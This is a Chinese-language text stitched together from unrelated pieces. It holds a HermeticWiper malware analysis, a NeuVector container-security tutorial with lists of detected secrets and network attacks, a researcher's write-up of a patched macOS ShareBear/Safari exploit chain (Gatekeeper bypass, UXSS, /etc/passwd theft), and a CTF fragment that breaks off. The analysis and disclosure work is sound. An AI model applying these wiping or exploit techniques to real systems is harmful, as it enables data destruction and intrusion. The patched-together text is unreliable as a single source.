因此,一般來說,惡意軟件將在後面的兩個步驟中用到這些結構體。第一步是收集所有數據。第二步是使用前面創建的結構體來擦除數據。

收集相關元素正如之前所看到的,這些結構體將被發送給執行數據破壞的函數。以下是以後需要銷毀的元素。

惡意軟件自身的可執行文件和植入的驅動程序我們已經看到,攻擊者對清理自己的踪跡很感興趣。為了達到這個目的,他們會從磁盤上刪除自己的可執行文件,即使二進製文件本身一直在運行並在內存中。正如HermeticWiper在文件系統中執行的任何其他任務一樣,刪除自己的二進製文件的方式與其他惡意軟件略有不同。攻擊者首先設法找到二進製文件在原始文件中的偏移量,最後,他們將覆蓋這個特定的偏移量。

1.png

HermeticWiper文件將被銷毀,同時被銷毀的還有其他元素

被植入的文件(壓縮和未壓縮的驅動程序)將被添加到同一結構體中,該動作是在在安裝之後完成的。

引導扇區攻擊者的目的之一,就是使設備無法加載操作系統。接下來的第一步,就是枚舉所有物理設備以及分區。為此,他們使用循環語句來嘗試打開harddisk[num]的句柄,其中num將從0迭代到100:

1.png

這個循環語句展示了攻擊者是如何從HardDisk0迭代到HardDisk100的

然後,所有這些信息都被存儲到一個elemStr結構體中,該結構體包含作為磁盤號的數據。在本例中,chunkElement將描述引導扇區的原始地址。在這裡,需要特別關註一下C:\System Volume Information。另外,攻擊者將在boot_sections結構體中添加以下文件夾內容:

1.png

對parse_NTFS_AND_execute_callback函數的調用

根據Microsoft的說法,“Mount Manager維護每個NTFS卷上的Mount Manager遠程數據庫,其中Mount Manager記錄了為該卷定義的任何掛載點。數據庫文件駐留在“NTFS卷上的目錄系統卷信息”(詳見“Windows Internals, 6th edition”)中。所以,這個技術也是為了提高破壞能力而創造的。最後,利用EasyUS驅動程序,所有這些收集到的偏移量都將像惡意二進製文件一樣被覆蓋掉。

保留扇區與MFT和以前一樣,惡意軟件將再次對物理驅動器ID進行暴力破解,以找到有效的驅動器ID。然後,它會使用IOCTL_DISK_GET_DRIVE_LAYOUT_EX檢索有關驅動器上所有主分區的信息,並從相應分區讀取第一個扇區。接著,通過ioctl_disk_get_drive_geometry_ex來獲取讀取磁盤的第一個扇區所需的其他信息。

1.png

檢索每個磁盤的相關信息

一旦讀取了分區的第一個扇區,該軟件就會在該扇區上調用惡意軟件傳遞的回調函數。

1.png

之後,它會根據文件系統的類型進行相應的處理:如果是FAT類型,那麼它會擦除所有保留扇區,而FAT文件系統中的引導記錄扇區是保留扇區的一部分;如果是NTFS類型,該惡意軟件就會清除磁盤上存在的MFT和MFTMirror(備份MFT),其目的是使數據恢復更加困難。

1.png

用於處理FAT文件系統的例程

1.png

用於處理NTFS文件系統的例程

NTFS卷上的每個文件都是由名為主文件表(MFT)的特殊文件中的記錄來表示的。在MFT被破壞的情況下,則可以通過讀取MFT鏡像來恢復原始MFT,其第一記錄與MFT的第一記錄相同。 MFT表為文件系統提供了相應的索引,並提供了文件駐留位置等信息。如果沒有MFT,系統將無法知道有哪些文件夾和文件,以及修改日期等信息。

Bitmap和日誌文件為了阻止數據被恢復,惡意軟件還經常會覆蓋所有邏輯驅動器上的Bitmap和日誌文件。就本例來說,邏輯驅動器是通過GetLogicalDriveStringsW進行檢索的。另外,這些結構體在進行數據恢復和取證調查時也很重要。實際上,$bitmap保存了空閒簇和已用簇的相關信息,而$logfile則保存了文件系統中發生的事務日誌。

1.png

此外,用戶文件也會受到數據破壞的影響。我們發現該惡意軟件還會覆蓋C:/Documents and settings文件夾中的所有內容。在現代Windows系統中,該文件夾將指向C:/Users。這個文件夾存放的是用戶的數據文件夾(例如,我的文檔或桌面)。在這個過程中,有些文件會被跳過,比如APPDATA下的文件,但一般來說,這些文件夾下的所有文件都會被覆蓋。

收集需要擦除的簇數據收集的最後一步,就是獲取清除磁盤上所有已佔用的簇所需的信息。為了獲取這些信息,惡意軟件使用了FSCTL_GET_VOLUME_BITMAP IOCTL來獲取磁盤上所有已佔用和空閒簇的相關信息。該惡意軟件會遍歷所有的邏輯磁盤,並使用FSCTL_GET_VOLUME_BITMAP檢索bitmap,而bitmap中的每一位表示一個簇,值1表示該簇已被佔用,0表示該簇處於空閒狀態。對於通過IOCTL檢索到的bitmap,該惡意軟件將對其進行逐位遍歷,然後,將所有已經佔用的簇添加到前文描述的擦除結構體中。這裡要注意的一點是,該惡意軟件匯集了所有相鄰的簇,而這些相鄰的簇是由單個chunk結構表示的——這一點與之前的表示方法不同,那時用一個chunk結構表示單個簇。

1.png

最後,所有已佔用的簇將被收集到一個elemStr類型的結構體中,以便銷毀。

這一切是如何進行的?到目前為止,我們已經知道一些NTFS屬性(如屬性、索引等)是用來收集數據的,之後這些數據將被銷毀。接下來,我們將展示一個例子,說明攻擊者是如何實現這一功能的,並展示其複雜程度。

為此,我們將以負責收集Windows日誌文件的代碼為例進行介紹:

1.png

負責收集Windows日誌文件的代碼

在調用上述代碼之後,會填充一些數據結構,其中包含有關物理磁盤屬性和文件夾名稱本身的數據。我們對NTFS文件系統的第一次引用是在檢索HANDLE的過程中發現的。這個文件夾是作為NTFS流打開的:

1.png

用於默認目錄流的HANDLE

其中,第一個調用將解析$INDEX_ROOT屬性,其功能與第二個調用相對類似,也更簡單,在第二個調用中使用了$INDEX_ALLOCATION屬性。關於這些NTFS屬性的其他信息可以在這裡找到。我們將假設元素列表足夠長,比如$INDEX_ALLOCATION,我們將深入考察這個調用:

1.png

相關的回調函數

為了更好地理解整個過程,我們需要記住發送的參數。其中,前面的兩個參數(nFileIndexLow和nFileIndexHigh)用於調用函數FSCTL_GET_NTFS_FILE_RECORD,它將檢索到一條NTFS記錄。在進行一些檢查之後(例如,檢查magic值),我們將調用一個名為callback_when_attribute_is_found的函數。注意,發送給這個函數的第一個參數將是之前發送的值$INDEX_ALLOCATION(0x20)。

1.png

調用callback_when_attribute_is_found函數

這個函數將遍歷作為記錄一部分的所有NTFS屬性。為此,代碼必須找到第一個屬性的偏移量。這個偏移量的長度只有2個字,因為這個偏移是相對於結構體而言的。 NTFS記錄頭部的佈局如下所示:

1.png

NTFS記錄頭部的佈局

一個NTFS文件記錄的結構如下所示:

記錄頭部

屬性

屬性

屬性NTFS記錄的佈局

如果我們還記得$INDEX_ALLOCATION(0x20),事情就很容易理解了。這些屬性將以一個特定的TypeCode開始,就像$INDEX_ALLOCATION那樣。因此,如果其中一個屬性與所需的選定類型相匹配,第一個回調函數將被觸發。

1.png

用於匹配屬性和回調函數的代碼

如果沒有匹配的TypeCode,但發現了$ATTRIBUTE_LIST,則將意味著存在更多的屬性,但這些屬性不適合$MFT表。在這種罕見的情況下,該惡意軟件將繼續處理這些額外的屬性,並將遞歸地調用第一個函數。

讓我們看看這個回調函數會做些什麼。記住,這個回調函數,在我們的案例中是indexAllocation_Callback_CollectAllfiles。第一步,是恢復這個屬性所指向的流。由於$INDEX_ALLOCATION是一個用於目錄的屬性,所以這個流可以是一個索引數組(塊索引):

1.png

使用原始磁盤偏移量恢復的塊索引數組

由於這是一個索引數組,這些索引將指向某個東西。正如你所想像的,這個東西就是NTFS記錄。在原始磁盤中,這些類型的索引看起來如下所示:

1.png

在原始磁盤鏡像文件中發現的索引塊的例子

由於索引指向記錄,因此,所有這些記錄將被遞歸地發送到初始函數。但是這一次的回調函數將是不同的,類型碼也是不同的:

1.png

調用$DATA回調函數

所以這一次,每條發送的記錄都會有不同的表現:將尋找$DATA屬性,而不是$INDEX_ALLOCATION($DATA包含文件數據)。另外,執行的回調函數將是不同的(現在命名為dataExecuting)。通過使用第一次調用中發送的磁盤屬性,結合從索引中收集的信息,這個回調函數將定位文件在磁盤中的確切位置。最後,這些文件就像我們在本報告中總結的所有文件一樣,被作為成員加入到elemStr*結構體中。如上所述,該結構體中包含的偏移量處的內容,將在最後的步驟中被惡意軟件所覆蓋。

1.png

調用函數,將文件的偏移量添加到elemStr類型的結構體中,以便以後銷毀數據

覆蓋數據最後,在收集完所有數據後,惡意軟件就開始執行覆蓋操作。為此,它會將elemStr結構體傳遞給該函數,以處理鍊錶上的所有元素:

1.png

to_overwrite_collected_sections函數

執行覆蓋操作的函數首先通過前面安裝的驅動程序來獲得對扇區的寫訪問權。然後,它會打開設備,通過偏移量遍歷收集的所有chunk,並使用WriteFile來填充先前準備好的隨機數據。

1.png

數據銷毀的代碼

下面的示例顯示了我們實驗中的一個日誌片段,當我們在惡意軟件執行期間轉儲特定結構體的內容時:首先收集數據,然後使用填充了隨機值的結構體來清除磁盤上的扇區:

1.png

小結如你所見,通過利用合法且無漏洞的簽名代碼,攻擊者就能夠繞過許多Windows安全機制。這會帶來非常嚴重的問題,因為出於安全考慮,用戶應用程序不應該在內核空間擁有這種程度的控制權限。

另外,我們想說明的是,這種情況下的數據恢復是非常困難的。攻擊者首先將文件碎片化,並將其散佈到磁盤各處,最後,用隨機數據覆蓋所有這些碎片。即使沒有最後一步(不分青紅皂白地向磁盤填充垃圾數據),只是進行碎片化並擦除所需結構體(如$MFT)的話,要想恢復如初也幾乎是不可能的。

需要注意的是,該惡意軟件為了隱藏自身的踪跡,還會設法破壞$LogFile和Windows事件等相關文件。

作者簡介萬紹遠,CNCF 基金會官方認證Kubernetes CKACKS 工程師,雲原生解決方案架構師。對ceph、Openstack、Kubernetes、prometheus 技術和其他雲原生相關技術有較深入的研究。參與設計並實施過多個金融、保險、製造業等多個行業IaaS 和PaaS 平台設計和應用雲原生改造指導。

前言NeuVector 是業界首個端到端的開源容器安全平台,唯一為容器化工作負載提供企業級零信任安全的解決方案。 NeuVector可以提供實時深入的容器網絡可視化、東西向容器網絡監控、主動隔離和保護、容器主機安全以及容器內部安全,容器管理平台無縫集成並且實現應用級容器安全的自動化,適用於各種雲環境、跨雲或者本地部署等容器生產環境。

此前,我們介紹了NeuVector 的安裝部署、高可用架構設計和多雲安全管理(超鏈接:https://mp.weixin.qq.com/s/kOGNT2L2HVMibyyM6Ri2KQ),本篇將演示NeuVector的基礎功能,主要包括:

1.安全漏洞管理

2.合規性檢查和機密性檢查

3.策略管理

4.准入控制策略

5.動態安全響應

6.行為監控

項目地址:https://github.com/neuvector/neuvector

本文主要基於NeuVector 首個開源版NeuVector:5.0.0-preview.1 進行介紹。

1.安全漏洞管理NeuVector 集成了CVE 漏洞庫,每天自動更新,支持對平台(Kubernetes)、主機、容器、鏡像倉庫進行安全漏洞掃描。

配置自動掃描,當平台漏洞庫有更新,或有新的節點和容器加入時,會自動進行掃描。

image001.png

針對不同漏洞,有不同的風險級別提示、對應的組件版本提示和修復版本提示。

image003.png

image005.png

針對每個漏洞,NeuVector 可以展示對應的漏洞發佈時間、漏洞影響範圍、對應的組件影響版本。

image007.png

對漏洞進行過濾,檢測是否已經修復,以及漏洞等級、發佈時間等。

image009.png

1.1.配置對接鏡像倉庫漏洞掃描支持對接多種鏡像倉庫如docker-registry(harbor)、JFrog Artifactory、Nexus 等。

image011.png

以對接Harbor 為例。配置連接方式,填寫連接方式和認證信息,過濾器表示需要掃描的範圍,如掃描uat 項目下全部鏡像則`uat/*`,如果需要掃描整個Harbor 內全部鏡像則*。測試設置可以驗證編寫的表達式的關聯情況。

image013.png

2.合規性檢查和機密性檢查NeuVector 的合規性審核包括CIS 基線測試、自定義檢查、機密審核以及PCI、GDPR 和其他法規的行業標準模板掃描。

image015.png

“類型”表示對應的那個基線標準,如K.4.1.1 對應Kubernetes CIS 基線測試,4.1.1 容器對應的基線標準為D 開頭,鏡像對應的基線標準為I 開頭。

注:GDPR (General Data Protection Regulation,《通用数据保护条例》 )為歐盟條例。

在合規性檢查中也會檢查是否存在密文洩漏情況。

image018.png

包括如以下密文洩漏情況:

GeneralPrivateKeys

Generaldetectionofcredentialsincluding'apikey','api_key','password','secret','passwd'etc.

Generalpasswordsinyamlfilesincluding'password',passwd','api_token'etc.

Generalsecretskeysinkey/valuepairs

PuttyPrivatekey

XmlPrivatekey

AWScredentials/IAM

Facebookclientsecret

Facebookendpointsecret

Facebookappsecret

TwitterclientId

Twittersecretkey

Githubsecret

SquareproductId

Stripeaccesskey

SlackAPItoken

Slackwebhooks

LinkedInclientId

LinkedInsecretkey

GoogleAPIkey

SendGridAPIkey

TwilioAPIkey

HerokuAPIkey

MailChimpAPIkey

MailGunAPIkey3.策略管理NeuVector 通過組的方式對容器和主機進行管理,對組進行合規性檢查、網絡規則、進程和文件訪問規則、DLP/WAF的檢測配置。

NeuVector 會自動將當前集群主機加入到nodes 組,對於集群內容器會自動創建以nv.開頭的組。

image019.png

NeuVector 的組支持3種模式:學習模式、監控模式和保護模式;各個模式實現作用如下:

學習模式學習和記錄容器、主機間網絡連接情況和進程執行信息。

自動構建網絡規則白名單,保護應用網絡正常行為。

為每個服務的容器中運行的進程設定安全基線,並創建進程配置文件規則白名單。

監控模式NeuVector 監視容器和主機的網絡和進程運行情況,遇到非學習模式下記錄的行為將在NeuVector 中進行告警。

保護模式NeuVector 監視容器和主機的網絡和進程運行情況,遇到非學習模式下記錄的行為直接拒絕。

新建的容器業務被自動發現默認為學習模式,也可以通過設置將默認模式設置為監控模式或保護模式。

不同組策略衝突情況下,適用的有效模式如下表:

c3bc204721128e4570e1681fbe59b3c.png

為了保證業務的穩定運行,當出現模式不一致時,有效模式以限制最小的模式運行。

生產環境最佳實踐使用路徑可以是:

上新業務時,先學習模式運行一段時間,進行完整的功能測試和調用測試,得到實際運行此業務的網絡連接情況和進程執行情況信息。

監控模式運行一段時間,看看有沒有額外的特殊情況,進行判斷,添加規則。

最後全部容器都切換到保護模式,確定最終形態。

3.1.動態微隔離使用場景一:POD 間通過網絡策略互相隔離

在Kubernetes 平台中創建四個Nginx,名稱和用途如下:

workload_name:test-web1 image:nginx 用途:web服務器

workload_name:test-con1 image:nginx 用途:連接客戶端1

workload_name:test-con2 image:nginx 用途:連接客戶端2

workload_name:test-con3 image:nginx 用途:連接客戶端3

創建workload

kubectlcreatedeploymenttest-web1--image=nginx

kubectlexposedeployment/test-web1--port=80--type=NodePort

kubectlcreatedeploymenttest-con1--image=nginx

kubectlcreatedeploymenttest-con2--image=nginx

kubectlcreatedeploymenttest-con3--image=nginx此時在NeuVector 中會自動生成這幾個組:

image021.png

在test-con1 中通過curl 訪問test-web1

image023.png

此時可以正常訪問,因為在學習模式下NeuVector 也會自動添加此訪問規則。

image025.png

將test-web1 和test-con2 都設置為監控模式

image027.png

然後在test-con2 中curl 訪問test-web1

image029.png

此時test-con2 可以正常訪問test-web1,但在NeuVector 中會生成告警

image031.png

同時,相應地,在網絡活動拓撲圖中也可以看見對應的連接鏈路變為紅色。

image033.png

將test-web1 和test-con2 都設置為保護模式,在通過test-con2 去curl test-web1

image035.png

因為curl 在學習模式時沒有使用,也不是NeuVector 默認允許的可執行進程,所以進程直接就無法訪問了。

將test-con1 設置為保護模式,此時test-con1 無法訪問外部網絡。

可以通過自定義添加網絡規則方式開通訪問。

image037.png

在網絡規則頁,此處規則已經是在學習模式下生成的規則列表。

添加外部訪問規則

image039.png

NeuVector 深度了解應用程序行為,並將分析有效負載,以確定應用程序協議。協議包括:HTTP,HTTPS,SSL,SSH,DNS,DNCP,NTP,TFTP,ECHO,RTSP,SIP,MySQL,Redis,Zookeeper,Cassandra,MongoDB,PostgresSQL,Kafka,Couchbase,ActiveMQ,ElasticSearch,RabbitMQ,Radius,VoltDB,Consul,Syslog,Etcd,Spark,Apache,Nginx,Jetty,NodeJS,Oracle,MSSQL 和GRPC。

現在test-con1 的curl 可以正常訪問www.baidu.com

總結:

除上述策略外,NeuVector 也內置網絡威脅檢測,能夠快速識別常用網絡攻擊,保護業務容器安全運行。

無論保護模式如何,在“學習和監視”模式下,NeuVector 將發出警報,並且可以在“通知安全事件”中找到這些威脅。在保護模式下將收到警報和阻止;還可以根據威脅檢測創建響應規則。

包含的威脅檢測如下:

SYNfloodattack

ICMPfloodattack

IPTeardropattack

TCPsplithandshakeattack

PINGdeathattack

DNSfloodDDOSattack

DetectSSHversion1,2or3

DetectSSLTLSv1.0

SSLheartbeedattack

DetectHTTPnegativecontent-lengthbufferoverflow

HTTPsmuggingattack

HTTPSlowlorisDDOSattack

TCPsmallwindowattack

DNSbufferoverflowattack

DetectMySQLaccessdeny

DNSzonetransferattack

ICMPtunnelingattack

DNSnulltypeattack

SQLinjectionattack

ApacheStrutsRCEattack

DNStunnelingattack

TCPSmallMSSattack

CipherOverflowattack

Kubernetesman-in-the-middleattackperCVE-2020-85543.2.進程管理NeuVector 支持對容器和主機內進程進行管理,在學習模式下,運行的進程和命令會自動添加到規則中。

image041.png

此時在test-con1 中執行df -h 會發現報錯bash: /bin/df: Operation not permitted

在nv.test-con1.default 組中添加df 進程規則:

image043.png

image045.png

然後再重新執行即可。

進程管理也支持對node 節點,可以在node 組中進行限制,約束宿主機進程執行。如限制執行docker cp 執行,通過學習模式得知是`docker-tar` 進程在後端執行,將節點切換到保護模式,限制`docker-tar` 進程即可。

這些在節點就無法執行`docker cp`

4.准入策略控制NeuVector 支持與Kubernetes 准入控制(admission-control)功能對接,實現UI 配置准入控制規則,對請求進行攔截,對請求的資源對象進行校驗。

NeuVector 支持多種准入控制策率配置,如鏡像CVE 漏洞情況限制、部署特權模式、鏡像內使用root 用戶、特定標籤等。

在策略-准入控制中開啟此功能,注意:需要Kubernetes 集群提前開啟admission-control

功能

image047.png

NeuVector 准入策略控制支持兩種模式:監控模式和保護模式,對應的含義和組的模式一樣的。這裡我們直接切換到保護模式,添加策略。

image049.png

image051.png

添加完後,在Rancher 中部署特權模式,容器會提示解決,策略生效。

image053.png

5.動態安全響應NeuVector 事件響應機制可以將響應規則設置為根據安全事件情況進行動態響應,包括以下事件:漏洞掃描結果、CIS 基準測試、准入控制事件等。

image055.png

響應動作包括隔離、webhook 通知和日誌抑制:

image057.png

隔離模式:對應的容器網絡進出流量將全部被切斷。

Webhook 通知:將觸發信息通過webhook 方式進行告警。

日誌抑制:對觸發告警信息進行抑制。

6.行為監控以CVE 漏洞配置為例,配置包含CVE 漏洞名稱為CVE-2020-16156 的容器進入隔離模式。

image059.png

組名對應的是影響範圍,如果為空,表示對全部的組都生效,填寫組名可以設置對特定組生效。

配置策略後,在集群去curl nginx 容器,發現無法訪問,在NeuVector 中查看容器狀態為隔離狀態。

image061.png

刪除策略時,也可以配置將對應隔離狀態容器解除隔離。

注意:

隔離操作不適用於為主機事件觸發的規則。

每個規則可以有多個操作。

6.1.網絡流量可視化image063.png

網絡流量可視化,可以清晰可見容器集群內的網絡連接關係、當前容器連接會話,並且過濾網絡連接信息,進行圖標展示;能夠快速進行網絡問題定位。

6.2.POD 流量抓包針對容器可進行網絡抓包,讓故障無需進入主機獲取高權限,就能進行網絡問題深入排查。

image065.png

image067.png

採集到的數據包可直接下載,通過Wireshark 進行解包分析。

總結本次我們主要講解了NeuVector 的基礎功能,後續將深入介紹DLP 和WAF 的配置策略和管理使用。

ShareBear應用程序至此,我們已經確定了一個可以由Safari自動啟動的應用程序,但是我們還不知道如何正確地打開它。幸運的是,這很簡單。

研究表明,iCloud文件共享可以生成一個公共共享鏈接。

9.webp.jpg

創建公共iCloud共享鏈接

這些共享鏈接看起來如下所示:https://www.icloud.com/iclouddrive/01fooriERbarZSTfikqmwQAem。

只需簡單地將“https”替換為“icloud-sharing”,就可以讓Safari自動打開ShareBear,並將該文件作為參數。

10.png

evil.html

太好了,那麼ShareBear 現在做了什麼?一些快速測試顯示了這種行為:

11.webp.jpg

ShareBear行為流程圖

這種行為存在一個微妙但卻極具影響力的設計漏洞。讓我們研究一下如果用戶之前沒有打開過這個文件會發生什麼,用戶將看到一個類似於下面的提示。

12.webp.jpg

ShareBear打開提示

這個無關緊要的小提示符,默認值為“Open”,看起來非常簡單。如果用戶同意,應該會打開圖片example.png。但實際上,他們達成的協議遠不止這些。

一旦用戶點擊“Open”,文件就會被下載到受害者的設備/Users/user /Library/Mobile Documents/com~apple~CloudDocs,然後通過Launch Services 自動打開。這樣用戶就再也看不到這個提示符了。此後,ShareBear以及Safari 中的任何網站將能夠自動啟動該文件。這個協議真正有漏洞的部分是,任何具有寫入訪問權限的人都可以更改文件。例如,在你同意打開文件後,文件的所有者可以更改整個字節內容和文件擴展名。然後ShareBear將下載並更新受害者設備上的文件,而無需任何用戶交互或通知。

實際上,受害者已經允許攻擊者在他們的設備上植入多個文件,並允許攻擊者在任何時候遠程啟動它。 PNG文件是一個可執行的二進製文件,只要我想,它就會自動啟動。

根據我反饋的報告,蘋果在macOS Monterey 12.0.1中修復了這一行為,但沒有發布CVE,因為這頂多是一個設計漏洞。

躲避Iframe沙盒檢測在對icloud-sharing://方案進行模糊測試時,我偶然發現了一個與UXSS 搜索無關的有趣漏洞。在執行上述行為之前,ShareBear 似乎會檢查“/iclouddrive/*”的URL 路徑。如果路徑恰好是“/photos/*”,那麼ShareBear 會犯一個非常愚蠢的錯誤。它會告訴Safari 打開一個指向iCloud Web 應用程序的新選項卡,但它不會驗證域名是否真的是iCloud Web 應用程序。

13.webp.jpg

在正常操作中,用戶只看到網站“https://photos.icloud.com”。然而,由於該域名從未經過驗證,我們可以欺騙ShareBear 指示Safari 打開任何網站的新標籤頁。

這種行為的影響可能並不明顯。因為它似乎與通常調用window.open('https://example.com')沒有什麼不同。然而,有些情況下,網站是不允許這樣做的。一個示例是是否啟用了彈出窗口阻止程序。另一個更狡猾的例子是當你的網站位於沙盒iframe 中時。

當你想在你的網站上嵌入不可信的第三方內容時,通常會使用sandbox iframe屬性。例如,你可能想在你的博客上顯示一個廣告橫幅,但你不希望這個廣告能夠運行JavaScript。

沙盒iframe的一個重要規則是,從該iframe打開的新窗口應該繼承與iframe本身相同的限制。否則,逃離沙盒就像打開一個彈出窗口一樣簡單。

這個漏洞會誘使Safari 打開一個沒有任何沙盒限制的新標籤!

14.png

網站被困在沙盒iframe 中

所以ShareBear忽略了驗證域,這給了我們一個簡單的彈出框攔截程序和一個iframe沙盒逃逸。 (在未分配CVE 的情況下在Safari 15.2 中修復)在BugPoC上的演示視頻鏈接為https://bugpoc.com/poc#bp-S4HH6YcO PoC ID: bp-S4HH6YcO,密碼:loVEDsquId01。請注意,這個演示只適用於Safari 15.2之前版本的macOS Monterey 12.1。

現在返回Camera/UXSS 搜索話題。

Quarantine 和Gatekeeper我們的網站可以提示用戶打開一個共享的PNG文件。如果用戶同意,我們可以在將來的任何時候自動啟動這個文件,即使我們改變了文件的內容和擴展名。

15.webp.jpg

然後,攻擊者可以在自己的設備上修改文件,而ShareBear將負責在受害者的設備上更新它。

攻擊者的設備和受害者的設備上的操作過程:

16.png

改變polymorphic文件

然後,攻擊者的網站可以使用與顯示原始提示符相同的icloud-sharing://URL自動啟動這個新更新的文件。

17.webp.jpg

這似乎非常接近我們強制下載和打開一個惡意webarchive文件的目標,我們可以將puppy.png的內容替換成一個webarchival文件,並將其重命名為“evil.webarchive”,不幸的是,討厭的macOS Gatekeeper不允許這樣做。

18.webp.jpg

Gatekeeper預防策略

看來ShareBear 正確地為下載的文件提供了'com.apple.quarantine' 屬性,並且根據Apple 的說法,“Gatekeeper 阻止了被隔離的可執行文件和其他類似文件(shell 腳本、webarchive等)打開或執行。”要深入了解macOS 如何處理此屬性,以及Gatekeeper 如何執行代碼簽名,請查看本文。

就滲透測試而言,此操作系統保護引入了兩大限制:

1.我們不能運行自己的應用程序;

2.我們不能直接打開webarchive文件;

側邊欄——雖然我們不能運行自己的應用程序,但啟動現有的、經過批准的應用程序是微不足道的。只需使用fileloc指向本地應用程序(這種技術很常見)。這種攻擊有時被稱為“任意文件執行”,並且經常被誤解,因為它看起來很可怕。

20.png

指向macOS 計算器的fileloc

21.png

使用icloud-sharing://方案啟動fileloc

雖然這種攻擊可能看起來很可怕,但啟動一個已經批准的應用程序不會有太大的影響。讓我們專注於打開webarchive。

快捷鍵上述打開本地應用程序的技術讓人想起老式的符號鏈接攻擊,它基本上只是使用“快捷方式”來欺騙軟件打開它不期望的東西。

多年來,許多不同的操作系統和應用程序在快捷方式方面進行了重新設計。現在,術語“快捷方式”可以指一個Unix符號鏈接、一個macOS別名、一個windows的鏈接文件、一個Safari的webloc、一個Edge的書籤等。

我希望我可以使用這個技術來繞過Gatekeeper,打開一個webarchive文件。這個想法對我來說似乎很有希望,因為我想要打開的實際應用程序是Safari(一個已存在的、已批准的應用程序)。 Gatekeeper 對我啟動Safari 沒有問題,當我嘗試打開任何以“.webarchive”結尾的文件時,它只會感到不安。

因此,我需要找到一個啟動Safari的快捷方式文件類型,然後告訴Safari打開一個不同的文件。經過反複試驗,我發現了古老的Windows URL 文件!

22.png

evil.url 文件指向本地webarchive

啟動evil.url 成功打開Safari 並指示它加載webarchive 文件而無需請求Gatekeeper 許可! (CVE-2021-30861) 只有一個小漏洞,我需要知道webarchive 文件的完整路徑。假設webarchive 是通過ShareBear 下載的,它將存在於/Users/user /Library/Mobile Documents/com~apple~CloudDocs中,其中包括受害者的用戶名(不是一個非常可擴展的攻擊)。

幸運的是,有一個巧妙的技巧可以規避這個要求——我們可以使用DMG 文件將webarchive 文件掛載到已知的/Volumes/目錄中。

23.png

使用icloud-sharing://方案掛載dmg

現在我們確切地知道webarchive 文件所在的位置。這意味著下面的evil.url 文件每次都可以使用。

24.png

evil.url 文件指向一個已知位置的本地webarchive

25.png

使用icloud-sharing://方案啟動evil.url 以打開evil.webarchive

就像這樣,我們在任何我們想要的地方執行JavaScript 代碼。上面的屏幕錄像在https://google.com 中註入了“alert(origin)”。

讓我們將其組合成最後一次攻擊。

完整的攻擊鏈使用ShareBear為我們下載和打開一個webarchive文件,可以分為3個步驟:

1.誘騙受害者給予我們植入polymorphic文件的權限。

26.webp.jpg

2.把puppies.png 變成evil.dmg 並啟動它。

27.webp.jpg

3.將evil.dmg 變成evil.url 並啟動它。

28.webp.jpg

當然把文件A轉換成三個不同的有效載荷需要一些服務器端協調。另一種(不那麼有趣的)實現這種攻擊的方法是讓受害者同意打開一個已經有所有文件的共享文件夾。

29.png

通過查看iCloud 共享文件夾對UXSS 進行屏幕錄製

在上面的屏幕錄製中,受害者同意查看一個包含一些PNG圖像的文件夾。這個文件夾還有兩個隱藏文件:evil。 dmg .evil.url。

該網站使用icloud-sharing://URL方案自動啟動兩個隱藏文件,成功繞過Gatekeeper,並打開一個webarchive文件。請注意,在受害者同意查看共享文件夾後,不會向他顯示額外的提示。上面的示例webarchive 文件將代碼注入https://www.icloud.com 以竊取受害者的iOS 攝像頭記錄。

當然,這只是一個例子,這種UXSS攻擊允許攻擊者將任意代碼注入到任意源。在劫持https://zoom.us 或https://facetime.apple.com 等受信任的視頻聊天網站時,注入JavaScript 代碼以打開網絡攝像頭同樣容易。

30.png

UXSS 劫持Zoom 網站以打開網絡攝像頭

漏洞修復那麼蘋果是如何解決這些漏洞的呢?

第一個修復是讓ShareBear只顯示文件而不是啟動它們(在macOS Monterey 12.0.1中修復,沒有分配CVE)。

第二個修復是阻止WebKit打開任何被隔離的文件(在Safari 15中修復為CVE-2021-30861)。

總結在我發現evil.url 技巧之前,我實際上找到了一種不同的方法來欺騙Launch Services (間接)打開一個webarchive 文件。我在Safari 的最新公開版本(v14.1.1) 中發現了這個漏洞。在向Apple 報告此漏洞幾天后,他們告訴我beta 版Safari v15 沒有這個漏洞。似乎不相關的代碼重構使v15 無法滲透。

通過啟動服務打開Safari的明顯方法是使用本地html文件。一旦打開,這個頁面將有file://URI 方案。這樣,JavaScript被允許導航到其他file://URI 。

31.png

本地HTML文件導航到另一個本地文件

那麼,如果我們要導航到的文件是一個webarchive,會發生什麼呢?此時,Safari只是掛著。

32.png

Safari拒絕出現webarchive的屏幕記錄

當目標文件是webarchiving時,這種掛起發生在我能想到的所有類型的頁面導航(anchor href, iframe src, meta redirect等)。

然後我發現了這個漏洞:

33.png

本地HTML文件導航到本地webarchive文件

當file://URL 中有主機值時,Safari 忘記執行webarchive 檢查!有趣的是,這個漏洞似乎是在Apple 修復我的舊file://漏洞(CVE-2020-3885) 時引入的。

當蘋果公司通知我Safari Beta v15不存在漏洞時,我重新檢查了一下,還是發現了evil.url。

在我完成UXSS 鏈後,還有一件事困擾著我,它不能用來竊取本地文件。當然,UXSS 可用於通過將代碼注入https://dropbox.com 或https://drive.google.com 來間接竊取文件,但無法獲取受害者硬盤上的文件。

我前面提到的出色的Blackhat Presentation啟發了我去尋找其他系統應用程序,它們可以在比Safari更優越的環境中運行我的JavaScript。在深入研究了一段時間後,我偶然發現了一個模糊的文件類型,它可以識別我的macOS腳本編輯器,名為“腳本添加”(.osax)。這些文件(或者更確切地說是“捆綁包”)包含一個嵌套的基於xml 的文件,稱為“Dictionary Document”(.sdef)。這個字典文檔用於顯示AppleScript應用程序使用的、人類可讀的、開發人員定義的術語。

重要的發現是允許這些基於xml 的文件包含HTML。事實證明,HTML呈現器也有一個JavaScript引擎,而且這個引擎不強制執行SOP! (在macOS Big Sur 11.6.2 中修復為CVE-2021-30975)這意味著竊取/etc/passwd 很容易。

34.png

evil.sdef 顯示/etc/passwd 的內容

幸運的是,Gatekeeper 不介意我們打開腳本添加文件。所以我們只需將evil.sdef 打包到evil.osax 中,然後通過ShareBear 將其發送給受害者。然後我們的icloud-sharing://URI 可以在腳本編輯器中自動啟動它。

35.png

ShareBear 打開evil.osax 竊取/etc/passwd 的屏幕錄像

所以現在除了UXSS,這個攻擊還可以繞過沙盒限制和竊取本地文件!

最後的話這個項目是對一個應用程序中的設計缺陷如何使其他各種不相關的漏洞變得更加危險的有趣探索。這也是一個很好的例子,說明即使macOS啟用了Gatekeeper,攻擊者仍然可以通過欺騙已批准的應用程序進行惡意操作來實現許多惡意操作。

web

EncirclingGame

質問説明:簡単なゲーム、それを楽しんで、それを完了したら旗を入手してください。トピックを開始してください、フロントエンドミニゲーム、赤いドットimage-20240817132551392を取得しないでください

レベルを直接再生して渡しますimage-20240817133147345

